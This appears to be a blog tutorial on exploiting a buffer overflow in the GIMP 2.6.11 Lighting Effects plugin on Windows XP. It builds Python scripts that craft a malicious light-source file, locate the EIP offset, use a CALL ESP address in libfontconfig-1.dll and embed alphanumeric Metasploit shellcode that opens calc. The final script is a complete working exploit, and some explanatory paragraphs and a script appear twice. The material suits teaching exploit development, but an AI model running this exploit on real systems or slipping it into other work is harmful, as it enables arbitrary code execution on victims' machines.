We will be writing the exploit under Windows XP SP2 for now, so we can avoid the extra protections put in place on newer versions of windows.
You will need the following applications/tools to complete this recipe:
- Gimp (2.6.11 was used)
- Immunity Debugger (1.8 was used)
- pvefindaddr (Peter Van Eeckhoutte's Immunity Debugger plugin)
- Metasploit ( For payload generation)
- Notepad++ (You can use any text editor, I just prefer this one)
- HxD (You can use any Hex Editor, this is just the one I use)
You are then brought to the plugin settings. You will notice the CVE states the "Lighting Effects > Light plugin", and the error is caused by loading a configuration file with a long "Position" field. Click on the "light" tab in the plugins settings.
![]() |
Plugin Settings |
Open the configuration file in a text editor to view the contents. You will notice a few different fields and the "Position" field mentioned in the CVE.
![]() |
Light Source File |
![]() |
Testing with A's |
![]() |
Exception |
Open Immunity Debugger and in the console run "!pvefindaddr pattern_create 1000".
![]() |
Pattern Creation |
We now have enough knowledge of the bug to start writing a script to generate our file for us. You should already have python installed since you are using Immunity Debugger, so that is what we will use.
The following python script will generate a light source file like the one we saved and insert the random pattern instead of just A's.
1: #Gimp 2.6.11 Lighting Effects Light plugin buffer overflow
2:
3: params_before=("\x4E\x75\x6D\x62\x65\x72\x20\x6F\x66\x20\x6C\x69\x67" #This is the first part of the default file up to "Position: "
4: "\x68\x74\x73\x3A\x20\x31\x0A\x54\x79\x70\x65\x3A\x20"
5: "\x50\x6F\x69\x6E\x74\x0A\x50\x6F\x73\x69\x74\x69\x6F\x6E\x3A\x20")
6:
7: buffer=("Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8" #Our pattern generated with pvefindaddr
8: "Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae"
9: "0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1A"
10: "g2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3A"
11: "i4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5A"
12: "k6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am"
13: "8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0"
14: "Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar"
15: "3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5A"
16: "t6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8"
17: "Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay"
18: "1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3"
19: "Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5"
20: "Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7"
21: "Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B")
22:
23: params_after=("\x0A\x44\x69\x72\x65\x63\x74\x69\x6F\x6E\x3A\x20\x2D" #Not needed, but this is the last part of the file
24: "\x31\x20\x2D\x31\x20\x31\x0A\x43\x6F\x6C\x6F\x72\x3A"
25: "\x20\x31\x20\x31\x20\x31\x0A\x49\x6E\x74\x65\x6E\x73\x69\x74\x79\x3A\x20\x31\x0A")
26:
27: file=open('light_exploit', 'w')
28: file.write(params_before+buffer+params_after)
29: print "Crafted Light Source!\n"
30: file.close()
The params_before and params_after values I got from our light source file we saved earlier. You can get the values by opening the light source configuration file in a hex editor and copy/paste into the script.
![]() |
params_before |
![]() |
params_after |
The params_after is not needed since the overflow happens before you get to there, but I put it in anyways for completeness.
Once your script is finished go ahead and execute it to create your new "light_exploit" file.
![]() |
Running Script |
![]() | ||
Contents of light_exploit |
Go back into Gimp, and open the Lighting Effects plugin. We can now run Immunity Debugger and attach to the "lighting" process. The debugger will pause the process. Press F9 until you are running again and go back to Gimp and click on the "light" tab. Click open and choose your new lighting configuration file with the random pattern in it. The debugger will pause at the exception. Note the value of EIP is 4136441.
![]() |
Pattern Exception |
![]() | ||||||||
Finding Offset |
You can see from the output that our address starts 96 bytes into the buffer. So bytes 97-100 overwrite the EIP. This gives us enough information to go back into our python script and do some editing. We know our buffer needs to be 96 bytes, the EIP should come right after that, and then our payload.
Save the script and run it again to generate our new file. Restart the debugging process, open the Lighting Effects plugin, and attach to the lighting process in the debugger. Open the new file and note that EIP is overwritten with 41414141 (AAAA) and ESP points to the beginning of our payload (BBBB).
This is a direct EIP overwrite, so all we need to do it supply a way to return to ESP, where our payload is located. To do this we can use pvefindaddr again. Issue the command "!pvefindaddr j ESP -n -o" in the debugger to find a list of possible return addresses. We use -n so that pointers with null bytes are not returned and -o so that OS modules are not searched. This leaves us with only searching modules loaded by Gimp. When possible, this is the best way to find pointers to use, that way your address can be used across different platforms and will not be hindered by OS versions. I chose to use a pointer in libfontconfig-1.dll that points to CALL ESP, 0x64FADBA3. Do not forget that this needs to be written in reverse order in our script (little endian).
We can also generate our shellcode with Metasploit at this point using "./msfpayload windows/exec CMD="calc" R | ./msfencode -e x86/alpha_mixed -t c". This will give us a calculator spawning shellcode that is limited to alphanumeric characters. We use the alphanumeric encoder because we are exploiting from a plain text configuration file, and control characters or other bad characters could cause only part of our shellcode to be loaded into memory.We will also insert a small NOP sled before our shellcode so the the decoder has some room to work.
Having the rest of what we need, we can update our python script one last time.
Save and run the script. Load the file into the Lighting Effects plugin and with some luck, you should have a shiny new calculator open up.
1: #Gimp 2.6.11 Lighting Effects Light plugin buffer overflow
2:
3: params_before=("\x4E\x75\x6D\x62\x65\x72\x20\x6F\x66\x20\x6C\x69\x67" #This is the first part of the default file up to "Position: "
4: "\x68\x74\x73\x3A\x20\x31\x0A\x54\x79\x70\x65\x3A\x20"
5: "\x50\x6F\x69\x6E\x74\x0A\x50\x6F\x73\x69\x74\x69\x6F\x6E\x3A\x20")
6:
7: buffer="A" * 96 #The offset needed to get to EIP
8: eip="AAAA" #EIP should be set to this!
9: payload="BBBB" #Just to see where it is
10:
11: params_after=("\x0A\x44\x69\x72\x65\x63\x74\x69\x6F\x6E\x3A\x20\x2D" #Not needed, but this is the last part of the file
12: "\x31\x20\x2D\x31\x20\x31\x0A\x43\x6F\x6C\x6F\x72\x3A"
13: "\x20\x31\x20\x31\x20\x31\x0A\x49\x6E\x74\x65\x6E\x73\x69\x74\x79\x3A\x20\x31\x0A")
14:
15: file=open('light_exploit', 'w')
16: file.write(params_before+buffer+eip+payload+params_after)
17: print "Crafted Light Source!\n"
18: file.close()
Save the script and run it again to generate our new file. Restart the debugging process, open the Lighting Effects plugin, and attach to the lighting process in the debugger. Open the new file and note that EIP is overwritten with 41414141 (AAAA) and ESP points to the beginning of our payload (BBBB).
![]() |
Testing Script |
This is a direct EIP overwrite, so all we need to do it supply a way to return to ESP, where our payload is located. To do this we can use pvefindaddr again. Issue the command "!pvefindaddr j ESP -n -o" in the debugger to find a list of possible return addresses. We use -n so that pointers with null bytes are not returned and -o so that OS modules are not searched. This leaves us with only searching modules loaded by Gimp. When possible, this is the best way to find pointers to use, that way your address can be used across different platforms and will not be hindered by OS versions. I chose to use a pointer in libfontconfig-1.dll that points to CALL ESP, 0x64FADBA3. Do not forget that this needs to be written in reverse order in our script (little endian).
We can also generate our shellcode with Metasploit at this point using "./msfpayload windows/exec CMD="calc" R | ./msfencode -e x86/alpha_mixed -t c". This will give us a calculator spawning shellcode that is limited to alphanumeric characters. We use the alphanumeric encoder because we are exploiting from a plain text configuration file, and control characters or other bad characters could cause only part of our shellcode to be loaded into memory.We will also insert a small NOP sled before our shellcode so the the decoder has some room to work.
Having the rest of what we need, we can update our python script one last time.
1: #Gimp 2.6.11 Lighting Effects Light plugin buffer overflow
2:
3: params_before=("\x4E\x75\x6D\x62\x65\x72\x20\x6F\x66\x20\x6C\x69\x67" #This is the first part of the default file up to "Position: "
4: "\x68\x74\x73\x3A\x20\x31\x0A\x54\x79\x70\x65\x3A\x20"
5: "\x50\x6F\x69\x6E\x74\x0A\x50\x6F\x73\x69\x74\x69\x6F\x6E\x3A\x20")
6:
7: buffer="A" * 96 #The offset needed to get to EIP
8: eip="\xA3\xDB\xFA\x64" #Universal CALL ESP from libfontconfig-1.dll
9: nop="\x90" * 12 #Room for our shellcode
10: payload=("\x89\xe1\xdb\xcf\xd9\x71\xf4\x5d\x55\x59\x49\x49\x49\x49\x49" # ./msfpayload windows/exec CMD="calc" R | ./msfencode -e x86/alpha_mixed -t c
11: "\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a"
12: "\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32"
13: "\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49"
14: "\x4b\x4c\x48\x68\x4e\x69\x47\x70\x43\x30\x47\x70\x51\x70\x4e"
15: "\x69\x4a\x45\x45\x61\x4a\x72\x43\x54\x4e\x6b\x50\x52\x50\x30"
16: "\x4c\x4b\x46\x32\x46\x6c\x4e\x6b\x42\x72\x47\x64\x4e\x6b\x43"
17: "\x42\x51\x38\x46\x6f\x4c\x77\x51\x5a\x46\x46\x44\x71\x4b\x4f"
18: "\x45\x61\x49\x50\x4e\x4c\x47\x4c\x50\x61\x51\x6c\x45\x52\x44"
19: "\x6c\x51\x30\x49\x51\x48\x4f\x46\x6d\x45\x51\x49\x57\x48\x62"
20: "\x4a\x50\x42\x72\x46\x37\x4c\x4b\x46\x32\x44\x50\x4c\x4b\x50"
21: "\x42\x45\x6c\x46\x61\x48\x50\x4c\x4b\x43\x70\x51\x68\x4d\x55"
22: "\x49\x50\x50\x74\x42\x6a\x46\x61\x4a\x70\x46\x30\x4c\x4b\x43"
23: "\x78\x45\x48\x4c\x4b\x46\x38\x51\x30\x43\x31\x48\x53\x4a\x43"
24: "\x47\x4c\x51\x59\x4c\x4b\x44\x74\x4e\x6b\x47\x71\x4a\x76\x45"
25: "\x61\x49\x6f\x45\x61\x49\x50\x4e\x4c\x4a\x61\x4a\x6f\x44\x4d"
26: "\x46\x61\x48\x47\x46\x58\x4b\x50\x51\x65\x48\x74\x44\x43\x51"
27: "\x6d\x48\x78\x47\x4b\x51\x6d\x45\x74\x50\x75\x4d\x32\x50\x58"
28: "\x4c\x4b\x43\x68\x46\x44\x46\x61\x4e\x33\x50\x66\x4c\x4b\x46"
29: "\x6c\x42\x6b\x4e\x6b\x51\x48\x47\x6c\x45\x51\x49\x43\x4e\x6b"
30: "\x43\x34\x4e\x6b\x45\x51\x48\x50\x4f\x79\x43\x74\x51\x34\x44"
31: "\x64\x43\x6b\x51\x4b\x43\x51\x42\x79\x43\x6a\x46\x31\x4b\x4f"
32: "\x4d\x30\x43\x68\x43\x6f\x43\x6a\x4e\x6b\x46\x72\x48\x6b\x4d"
33: "\x56\x43\x6d\x42\x4a\x45\x51\x4e\x6d\x4c\x45\x4c\x79\x45\x50"
34: "\x45\x50\x43\x30\x46\x30\x43\x58\x44\x71\x4c\x4b\x50\x6f\x4e"
35: "\x67\x49\x6f\x4e\x35\x4d\x6b\x48\x70\x4c\x75\x4c\x62\x51\x46"
36: "\x51\x78\x4e\x46\x4c\x55\x4f\x4d\x4f\x6d\x49\x6f\x4e\x35\x47"
37: "\x4c\x47\x76\x51\x6c\x45\x5a\x4f\x70\x4b\x4b\x49\x70\x50\x75"
38: "\x46\x65\x4d\x6b\x51\x57\x44\x53\x50\x72\x50\x6f\x50\x6a\x45"
39: "\x50\x46\x33\x4b\x4f\x48\x55\x51\x73\x50\x61\x42\x4c\x45\x33"
40: "\x43\x30\x46\x6a\x41\x41")
41:
42: params_after=("\x0A\x44\x69\x72\x65\x63\x74\x69\x6F\x6E\x3A\x20\x2D" #Not needed, but this is the last part of the file
43: "\x31\x20\x2D\x31\x20\x31\x0A\x43\x6F\x6C\x6F\x72\x3A"
44: "\x20\x31\x20\x31\x20\x31\x0A\x49\x6E\x74\x65\x6E\x73\x69\x74\x79\x3A\x20\x31\x0A")
45:
46: file=open('light_exploit', 'w')
47: file.write(params_before+buffer+eip+nop+payload+params_after)
48: print "Crafted Light Source!\n"
49: file.close()
Save and run the script. Load the file into the Lighting Effects plugin and with some luck, you should have a shiny new calculator open up.
![]() |
Calculator! |
No comments:
Post a Comment